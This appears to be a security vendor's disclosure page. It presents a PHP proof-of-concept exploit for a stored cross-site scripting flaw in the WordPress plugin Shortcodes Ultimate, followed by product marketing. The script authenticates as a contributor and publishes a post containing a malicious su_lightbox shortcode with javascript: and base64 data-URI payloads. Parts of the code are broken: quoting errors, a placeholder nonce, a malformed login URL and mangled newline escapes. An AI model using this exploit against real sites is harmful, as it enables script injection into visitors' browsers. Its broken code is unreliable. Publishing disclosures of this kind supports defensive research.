This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0737 - Shortcodes Ultimate <= 7.4.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'su_lightbox' Shortcode

<?php

$target_url = 'http://vulnerable-site.com/wp-admin/post.php';
$username = 'contributor_user';
$password = 'contributor_pass';

// Create a WordPress authentication cookie
function get_wordpress_cookie($url, $username, $password) {
    $login_url = $url . '/wp-login.php';
    $redirect_to = $url . '/wp-admin/';
    
    // First request to get login form and nonce
    $ch = curl_init($login_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
    curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
    $response = curl_exec($ch);
    
    // Extract nonce from login form (simplified - real implementation needs proper parsing)
    preg_match('/name="log"[^>]*>/', $response, $matches);
    
    // Perform login
    $post_data = array(
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $redirect_to,
        'testcookie' => '1'
    );
    
    curl_setopt($ch, CURLOPT_URL, $login_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    $response = curl_exec($ch);
    curl_close($ch);
    
    return file_exists('cookies.txt') ? 'cookies.txt' : false;
}

// Create a new post with malicious shortcode
function create_malicious_post($url, $cookie_file) {
    $post_url = $url . '?action=edit';
    
    // First get the post creation page to obtain nonce
    $ch = curl_init($post_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
    $response = curl_exec($ch);
    
    // Extract nonce (simplified - real implementation needs proper parsing of _wpnonce)
    // This is a simplified POC - actual implementation would need proper nonce extraction
    
    // Malicious shortcode payload
    $malicious_shortcode = '[su_lightbox src="javascript:alert('XSS via CVE-2026-0737')" type="inline"]Click for lightbox[/su_lightbox]';
    
    // Alternative payload with encoded JavaScript
    // $malicious_shortcode = '[su_lightbox src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=" type="inline"]Click me[/su_lightbox]';
    
    $post_data = array(
        'post_title' => 'Test Post with XSS',
        'content' => $malicious_shortcode,
        'post_type' => 'post',
        'post_status' => 'publish',
        '_wpnonce' => 'extracted_nonce_here', // Would need actual nonce extraction
        '_wp_http_referer' => '/wp-admin/post-new.php',
        'publish' => 'Publish'
    );
    
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($http_code == 200 || $http_code == 302) {
        echo "[+] Malicious post created successfullyn";
        echo "[+] Shortcode payload: $malicious_shortcoden";
        echo "[+] Visit the published post to trigger the XSSn";
    } else {
        echo "[-] Failed to create post. HTTP Code: $http_coden";
    }
}

// Main execution
if ($cookie_file = get_wordpress_cookie($target_url, $username, $password)) {
    echo "[+] Authentication successfuln";
    echo "[+] Cookie file: $cookie_filen";
    create_malicious_post($target_url, $cookie_file);
} else {
    echo "[-] Authentication failedn";
}

// Cleanup
if (file_exists('cookies.txt')) {
    unlink('cookies.txt');
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School